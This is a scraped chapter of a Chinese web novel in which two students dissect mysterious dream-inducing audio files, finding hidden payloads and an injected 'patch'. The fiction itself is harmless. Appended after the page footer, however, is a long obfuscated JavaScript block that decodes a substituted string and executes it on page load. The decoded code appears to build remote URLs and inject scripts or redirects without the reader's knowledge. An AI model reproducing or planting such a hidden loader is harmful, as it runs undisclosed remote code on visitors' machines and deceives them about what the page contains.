首页
第33章 音频里的“补丁”
返回
关灯 护眼:关 字号:小

第33章 音频里的“补丁”

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第33章音频里的“补丁”(第1/2页)
    “余弦,你能把这段音频发给我吗?我或许......能借助实验室的仪器分析出什么。”
    杨依依打断了余弦的思考。
    “好,谢谢学姐,那就拜托你了,我也正打算去找个计算机的朋友,试试对它做逆向分析。”
    因为没有网络,余弦只能把音频文件用蓝牙传输给杨依依。
    他准备和学姐告辞,去北区找温晓,看看她对昨天登录秘钥的分析有没有什么进展。
    “如果有机会,也帮我问问那个产业基金的底细,我感觉这个音频可能和你们的研究成果有关系。”
    “好。”杨依依面带担心:“不过外面雨这么大,你非要今天去吗?”
    “嗯,这件事可能关系着很多人的安全。”
    见余弦这么说,杨依依也没有再阻拦,从口袋里掏出了一个粉色充电宝:
    “那你带着这个,保持手机有电。如果......如果遇到什么危险,你可以随时打给我。”
    “好......谢谢学姐。”
    两人在七宿门口对视了一眼,那一眼,让余弦感觉自己并不是一个人在战斗。
    目送着杨依依走上楼梯,余弦才转过身,一头扎进了雨幕中。
    从南区到北区,积水最深的地方已经没过了小腿肚,余弦感觉自己像是在一条河流中逆行。
    没有网络,只能给温晓发了信息,等余弦到北区的时候,裹着羽绒服的温晓早就已经抱着笔记本电脑,等在了一楼大厅的闸机口。
    “余弦!”远远地就听到了她的喊声:
    “你终于来了......我还担心你被冲走了呢。”
    看到水鬼一样的余弦,她瞪大了眼睛。
    “差点。”余弦开了个玩笑,边走边脱着还在滴水的雨衣。
    温晓没有废话,直接刷卡开了门。
    两人穿过安静的走廊,坐电梯直奔12层的小隔间休息区。
    这里空无一人,只有壁灯发出昏黄的光。
    坐到了最角落的那组沙发上,落地窗外是倾盆暴雨。
    “给,先擦擦。”
    才注意到,沙发上搭了一块毛巾,粉色的,上面印着余弦不认识的卡通图案。
    余弦也没客气,擦了擦脸上头上的雨水,毛巾上有一股洗衣液的香气。
    “怎么样,那个登录秘钥,看出什么了吗?”
    “余弦,你给我的那个45MB的音频......我对它进行了逆向拆解和反编译。”
    温晓深吸了一口气,手指在键盘上敲击了几下,屏幕上出现了一个复杂的频谱分析图。
    那张图,被她用不同颜色,清晰的分成了三段。
    “TDI的加密算法很厉害,真的像你说的是个‘压缩包’。他们用的是一种我没见过的动态多态壳,但大概结构被我扒出来了,它的有效载荷大概分为了三部分。”
    “有效载荷?”余弦不太理解这些专业术语。
    “对,他们应该用了一种叫做‘音频隐写’的方法,把一些需要隐藏的信息,通过替换掉白噪音的几位采样点,编写在这段音频里。因为人类听觉对1-4位的变化不敏感,所以人耳根本听不出来什么。这些隐藏的真正有意义的信息,就叫做有效载荷。”
    见余弦点了点头,温晓又继续指着屏幕最左边的红色波形:
    “这是第一部分,大概占了文件的50%,这就是那首勋伯格的《钢琴组曲Op.25》,那个十二音技法的曲子。”
    “它是干什么用的?”余弦之前就很疑惑这个乐曲的存在意义:“为什么是这首曲子?”
    “这个暂时我也没能搞清楚,我猜测是不是为了掩盖后面的数据流,还是说这首曲子能够开启大脑的某种状态,像是在‘对暗号’,天王盖地虎、宝塔镇河妖什么的,我也没想明白。”
    余弦想到了一个点,那是杨依依学姐上次说的,欺骗大脑的“防火墙”,也就是纺锤波,不知道会不会和这个有关。
    “我之前听一个生科学院的学姐说,纺锤波会对声音进行威胁度的‘评估’和‘过滤’,像是大脑的‘防火墙’,你说的‘对暗号’,会不会是这一部分?”
    “哪个学姐?具体怎么说的?”温晓看了眼余弦疑惑道,“难道是因为十二音技法的数学结构和某种底层的神经编码逻辑类似?理解不了......这有点像是咒语了。”
    余弦示意她继续解读,暂时先跳过这部分。
    “第二个部分,我们叫它‘黑箱’吧。这部分大概占了45%,也是被重度加密的内核。无论我用什么字典去跑,都撞不开它的壳。它里面没有任何可读的字符,全是乱码。我甚至怀疑,它里面是不是本身就没有可读内容......”
    “没有可读内容?”
    “对,或者说,它的数据格式,是人类计算机无法读取的。就像是你想用txt记事本,去打开一张照片,能看到的就只有乱码。”
    温晓用鼠标指着中间的那部分数据块,蹙眉道。
    “但是。”她话锋一转:“第三部分,也就是文件最后一部分,只占了5%的信息,它的加密程度没有那么高。”
    她调出了屏幕上一长串被转译过来的代码,虽然里面夹着很多乱码,但其中一些英文单词已经能被解析出来了:
    “可能是为了方便随时更新内容,这部分里,他们用的是一种‘脚本语言’,安全程度没那么高,所以被我破解出了里面的一小部分,并且转成了可读的文本......”
    余弦感觉到,她看向自己的眼神有些担心和......同情。
    场景:白色房间,资产调用:空,光照:全局环境光。
    余弦死死盯着那几行代码中的英文单词。
    那些曾经在他梦里折磨了他十天十夜的绝望,那些一度让他想要呕吐自尽的红色倒计时。
    它们就静静地躺在这段音频代码里。
    就好像是一个设定好规则的游戏。
    而他,只是那个被困在游戏里的、微不足道的NPC。
    “真的是......剧本。”余弦喃喃道:“那个卖家理解的一点没错。”
    “卖家?”
    余弦没有回答,只是指着那个“资产调用:空”问道:
    “这是什么意思?”
    “我猜想,这意味着这段音频里,没有从你的大脑里‘调用’任何素材,这段代码只规定了‘它是白色的’,至于多大、墙壁什么材质、光线什么质感,全都是你大脑自己脑补渲染出来的。”
    温晓转头看着余弦,似乎是想安慰,又不知道能说些什么。
    (本章未完,请点击下一页继续阅读)第33章音频里的“补丁”(第2/2页)
    “他在编程我们的大脑。”余弦声音沙哑。
    压下了那股强烈的窒息感,转而拿起手机。
    因为如果这个逻辑成立,那么那个黑市里流传的‘午夜公交车’,它的代码里,一定也写着类似的脚本。
    “温晓,我今天从一个论坛里,买到了一份音频,这个音频的作用可能和TDI的登录秘钥是一样的,但有一点不同,它可以做到让人醒来还记得梦里的内容。你能不能帮我看看......这个音频里有什么?”
    温晓接过手机,把文件导入了电脑,又看了眼手机上挂着的那个粉色充电宝。
    玻璃房外,暴雨如注。
    玻璃房内,一双纤细的手在键盘上飞快地敲着。
    “出来了......”
    屏幕跳动,新的频谱分析图出现,温晓咬着手指。
    “这个文件和原本的TDI音频非常相似,但......好像它的结构有些变化。”
    “哪里?”余弦往前凑了凑。
    “好像......多了一个部分?”
    温晓指着屏幕上被切分出来的色块:
    “第一个部分,还是首钢琴曲,但不是勋伯格的那首Op25了,我刚听歌识曲,看到是安东·韦伯恩的《钢琴变奏曲Op.27》。”
    “怎么......还变了?”余弦诧异道。
    “韦伯恩是勋伯格的学生,也是十二音技法的继承者。”
    “十二音技法......看来要好好研究下这个作曲方法了。”
    温晓指着屏幕上另外两块波形图:
    “这次的‘黑箱’有两部分组成,和上次那个一样,还是完全打不开。如果按你说的,这次的音频可以让人记住梦里的东西,那我怀疑,多出来的这部分,就是负责这个功能的。”
    余弦点了点头,他也是同样的猜想:
    “可能多出来的这部分,就是用来对抗梦境遗忘机制的,通过这段音频,抑制大脑里一个叫做‘MCH’的神经元,它的活性和功能。”
    温晓滑动鼠标,指着文件末尾的部分:
    “最后这部分的长度要比上个音频长很多,占了整个文件的40%多,我还没有反编译成可读的文本,还不知道它的内容是什么。”
    “能不能把第二部分和第三部分的波形,和上个音频的‘黑箱’对比一下?”余弦想到了什么。
    温晓看了余弦一眼,似乎是有点惊讶:
    “你好聪明,我都没想到这个方法。让我看看......”
    在键盘上敲击两下,调出了一个对比图,她盯着看了一会,又用一个波谱分析软件扫描分析了一遍:
    “这两个音频,第二个部分几乎是完全一样的,这部分可能就是构建梦境的基础引擎了。”
    “几乎?那就是说,这里还是有区别的?”
    温晓把分析结果推给余弦,蹙眉思考着:
    “对,波形99%是一样的,但里面有几位采样点不太相同,这是为什么呢......”
    “对了,我忘了告诉你,今天的这个音频是没有设备绑定的,任何设备都可以播放。会不会差在这里?”
    “那应该就是这个区别了。”温晓恍然:
    “看来TDI的登录秘钥,只是在源文件的基础上,基于设备的音频指纹修改了一点点细节,从而只能让绑定的设备播放出源文件的效果。”
    余弦点点头:
    “那第三部分呢?为什么之前的登录秘钥没有这部分?”
    她皱了皱眉:
    “第三部分......看起来像是后加上去的,因为它的加密的手法和前面的部分有些区别,像是一个补丁......是强行挂载在这上面的。”
    “强行挂载?你是说......”余弦敏锐的抓住了这个词:“你是说,它像是一个游戏外挂?”
    “对。如果说TDI的官方版本,像是一个精密的仪器,那这个部分,就像是在一个精密的仪器上,暴力焊接了一个功能模块。”
    温晓放大了那段波形的接缝处:
    “你看这里,波形的过渡很不自然,甚至有明显的跳变。这说明编写这部分音频的人,并没有拿到前面‘黑箱’的源代码,它是硬生生把自己的代码注入进去的。”
    果然,按温晓所说,这和他之前的猜测一样,是有人拿了TDI的音频文件,加进来了一个“破解补丁”。
    “既然是黑箱,那我们也判断不了,里面有没有恶意代码对吧......”
    “对,这两段数据的格式完全是未知的,就像是拿着汉语词典在对照英文文章,哪怕是把它的结构拆开,也不能知道每一个符号代表的意思。”
    她叹了口气:
    “我现在就像是无头苍蝇一样,没有任何参考资料,没有任何比对样本,根本不知道从哪个方向入手。”
    “比对样本......如果我能拿到其他用来抑制梦境遗忘机制的实验音频,是不是就能帮你破解它的含义了?”余弦想到了杨依依学姐的研究。
    “是,如果能拿到类似的未加密原始音频,或者哪怕是相关的算法逻辑,我就有可能反推出这部分的加密方案了。”
    未加密的原始音频......
    杨依依学姐的实验室里,就有配合经颅电刺激用的音频文件,和抑制MCH神经元的频率参数。
    “我去想办法。”余弦站起身。
    温晓呆了一下,不知道余弦说的“办法”具体是指什么。
    余弦看了看时间,又到了深夜。
    把笔记本重新放进包里,穿上雨衣,打算和温晓告别回南区宿舍。
    “余弦。”温晓突然喊住了他:
    “之前那个TDI的登录秘钥音频,你真的进去过,对吗?”
    余弦皱了皱眉,这是一件他完全不想去回忆的事情。
    温晓问这个干什么?
    那个登录秘钥联通着那个白色的地狱,那种痛苦,他不想让身边任何人再经历一次。
    但又想到,那个音频是有设备绑定的,用她自己的设备播放也不会有任何效果。
    不管如何,还是不能让她冒这个险。
    “我警告你,不要想着去听那个音频。即使现实里的你,大概率会忘记梦的内容,但梦里的你所经历的,都是实实在在的痛苦。”
    “放心吧,我不会的。”温晓给了他一个安慰的笑。
    余弦狐疑的看了看她,又反复叮嘱了两句,才告别温晓,再次踏入了狂风暴雨之中。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();